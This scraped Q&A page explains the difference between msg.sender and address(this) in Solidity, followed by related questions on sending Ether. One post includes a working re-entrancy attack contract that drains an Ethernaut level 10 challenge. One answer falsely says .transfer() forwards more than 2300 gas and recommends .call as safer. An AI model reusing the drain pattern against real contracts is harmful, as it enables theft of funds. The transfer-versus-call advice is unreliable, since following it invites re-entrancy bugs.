What is the difference between msg.sender and address(this) in the below code?
**pragma solidity ^0.8.0;
contract Escrow{
address public payer;
address payable public payee;
address public lawyer;
uint public amount;
constructor(
address _payer,
address payable _payee,
uint _amount) {
payer = _payer;
payee = _payee;
lawyer = msg.sender;
amount = _amount;
}
function deposit() payable public {
require(msg.sender == payer, 'Sender must be the payer');
require(address(this).balance <= amount, 'Cant send more than escrow amount');
}
function release() public {
require(address(this).balance == amount, 'cannot release funds before full amount is sent');
require(msg.sender == lawyer, 'only lawyer can release funds');
payee.transfer(amount);
}
function balanceOf() view public returns(uint) {
return address(this).balance;
}
}**
msg.sender is the address of the contract caller.
address(this) is the address of the smart contract itself.
They are both addresses in Solidity, but there is a big difference between msg.sender and address(this).
Allow me to use a simplified Smart Contract below to highlight the difference. All screenshots are from the Remix-Ethereum IDE (click here).
pragma solidity ^0.8.0;
contract Escrow {
address public owner;
constructor() {
owner = msg.sender;
}
function depositNothing() public view {
require(msg.sender == owner, 'You are not the owner!');
}
function balanceOf() view public returns(uint) {
return address(this).balance;
}
}
msg.sender
We are talking about the ACCOUNT address from which the function in the Smart Contract was called. For example, suppose in the Remix Ethereum (IDE), the Escrow Smart Contract was deployed from the ACCOUNT address:
0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
In that case, the State Variable owner will have the same address mentioned above. This is because the constructor function was called from that address.
Now, suppose we change the ACCOUNT address to:
0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
We then call the function depositNothing from the Smart Contract which was deployed earlier. You will get the following error, however:
This is because the msg.sender in the depositNothing function equates to the second ACCOUNT address. This obviously does not equate to the first ACCOUNT Address - owner. The second argument in the require function was therefore returned along with the error.
address(this)
This is not the same as the ACCOUNT Address discussed earlier. This strictly refers to the address given to the Smart Contract when it is deployed to the Ethereum blockchain.
This can be found here:
0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8
Related
While I was doing the level 10 of Ethernaut (Re-entrancy), I got some question about address.call() function.
I notice that if I deposit a small amount of WEI, for example, 100000 WEI, I wouldn't be able to withdraw all the contract's balance. But why so? Is there a limit that the address.call() function on the Reentrance smart contract can be executed?
Another thing that I noticed is that I only needed to check if the Reentrance contract balance wasn't 0 to be able to get all its balance. It started with 3000012015300000 WEI and I was withdrawing 1000000000000000 each time. I thought that because of that I would get only 3000000000000000 and the contract would still have 12015300000 WEI. However, I got its entire balance... So, my question is: if the _amount value is greater than address(this).balance in msg.sender.call{value: _amount}(""), Solidity will send all remaining balance of the smart contract?
Here is my code of the smart contract that succeeded on this level:
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}
contract Reentrancy {
IReentrance public contractToAttack;
address public owner;
uint public amount;
constructor(address _contract_address) public {
contractToAttack = IReentrance(_contract_address);
owner = msg.sender;
}
function donate() public payable {
contractToAttack.donate{value: msg.value}(address(this));
amount = msg.value;
}
function withdraw() public {
require(owner == msg.sender, "Only owner");
msg.sender.transfer(address(this).balance);
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
receive() external payable {
if (address(contractToAttack).balance != 0){
contractToAttack.withdraw(amount);
}
}
}
Link to Ethernaut level 10 smart contract here.
I am learning solidity and testing out accepting payment of a fixed amount using a smart contract.
I took this code from a tutorial website and im testing it in Remix.
pragma solidity ^0.8.7;
contract DonateContract {
address payable public owner;
//contract settings
constructor() {
owner = payable(msg.sender);
}
//public function to make donate
function donate() public payable {
(bool success,) = owner.call{value: 10000 wei}("");
require(success, "Failed to send money");
}
}
I want to transfer a fixed amount of 10000 WEI.
The message sender has a 100 ETH balance.
The owner is just an address, not a contract.
It gives the error "Failed to send money" every time.
The problem here is that by sending a fixed wei amount to the owner, you do not know if the contract will have enough balance to make the transaction. To do so, I would suggest maybe transferring the msg.value amount, so that you ensure that all the eth sent to the contract is redirected to the owner's balance. It would be something like this:
(bool success,) = owner.call{value: msg.value}("");
Hope you find this information useful :)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract transfertot{
//address public address1=0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; it is owner address sample
address public address2=0x4B20993Bc481177ec7E8f571ceCaE8A9e22C02db; // it is reciever address sample
address payable public owner;
constructor()payable {
owner=payable(msg.sender);
}
uint public msgvalue=msg.value;//contract value
uint balance1;//owner balance
uint balance2;//reciever balance
uint[] balance1arr;
uint[] balance2arr;
function transfer1(address payable _address,uint _priceGwei)payable public {
require(_priceGwei<=(msgvalue/10**9),"balance is less than msgvalue");//working in gwei
_address.transfer(_priceGwei*10**9);
balance1=owner.balance/(10**9);
balance2=address2.balance/(10**9);
balance1arr.push(balance1);
balance2arr.push(balance2);
msgvalue-=_priceGwei*10**9;
}
function ownerbalancearr()public view returns(uint[] memory){
return balance1arr;
}
function recieverbalancearr()public view returns(uint[] memory){
return balance2arr;
}
}
//when you want to deploy add some gwei to value in deploy and run transactions panel`
//the contract value is differ from owner value
//you can check the`enter code here` output in this code
//good day to you`
the withdraw function gets me an error and it shows send and transfer are only available for object of type address payable and not address...
Confusing!!
solidity
//SPDX-License-Identifier: MIT
//this line of code was created to fund account
//show the value of fund in the address
pragma solidity ^0.8.0;
// the fundMe contract should be able to accept payment
function withdraw()payable public {
msg.sender.transfer(address(this).balance);
}
}
In Solidity, there is a difference between a normal address and a payable address so the correct way to send Ether to the sender would be payable(msg.sender).transfer(address(this).balance); this converts the normal address to a payable address. For more details take a look at this
I think up until solidity ^0.8.0, msg.sender was payable. withdraw function should be called only by the owner of the contract and you do not need to make it payable.
address payable private owner;
// set the owner when the contract is created
constructor(){
owner=payable(msg.sender)
}
function withdraw() public {
require(msg.sender==owner,"only contract owner can call this");
owner.transfer(address(this).balance);
}
However, using transfer is not safe. Because .transfer() sends more gas than 2300. Thus making it possible for reentrancy. A better way would be:
function withdraw() public {
require(msg.sender==owner,"only contract owner can call this");
(bool success, ) = owner.call{value:address(this).balance}("");
// success should be true
require(success,"Withdraw failed")
}
How can I send tokens to a token holders from inside a smart contract with solidity?
It means how can send reward to token holders?
Have a list of addresses and loop through them while calling native erc transfer method. You can't really iterate through a mapping without knowing the access keys (if you're thinking about pulling addresses from smth like balances).
I am assuming you want to send Ether to another Smart Contract or an EOA (e.g. Metamask). You can write a Smart Contract such as the below and use the Remix Ethereum (an IDE) to send Ether to an external party. Use the public function - transferEther.
//SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.6.0 < 0.9.0;
contract Sample{
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {
}
fallback() external payable {
}
function getBalance() public view returns (uint){
return address(this).balance;
}
// this function is for sending the wei/ether OUT from this smart contract (address) to another contract/external account.
function transferEther(address payable recipient, uint amount) public returns(bool){
require(owner == msg.sender, "transfer failed because you are not the owner."); //
if (amount <= getBalance()) {
recipient.transfer(amount);
return true;
} else {
return false;
}
}
}
Error message:
transact to Payment.deposit errored: VM error: revert.
revert The transaction has been reverted to the initial state.
Note: The called function should be payable if you send value and the value you send should be less than your current balance. Debug the transaction to get more information.
contract Payment{
address Account2;
address Owner;
constructor() public{
Account2 = 0x583031D1113aD414F02576BD6afaBfb302140225;
Owner = msg.sender;
}
function deposit() payable public{
address(uint160(Account2)).transfer(1 ether);
}
If you don't want to use msg.value then it is compulsory that your contract should have enough balance.
So you can create a fallback function in order to deposit enough ether to your contract first and then you can call your deposit() function.
Your contract after adding fallback function
pragma solidity ^0.5.1;
contract Payment{
address Account2;
address Owner;
constructor() public{
Account2 = 0x583031D1113aD414F02576BD6afaBfb302140225;
Owner = msg.sender;
}
function () payable external{}
function deposit() payable public{
address(uint160(Account2)).transfer(1 ether);
}
function getContractBalance() public view returns(uint) {
return address(this).balance;
}
}
It works without error on my remix VM.
So make sure:
The contract has a balance greater than 1 ether
If Account2 is a contract's address, then it need to have a fallback function to receive ether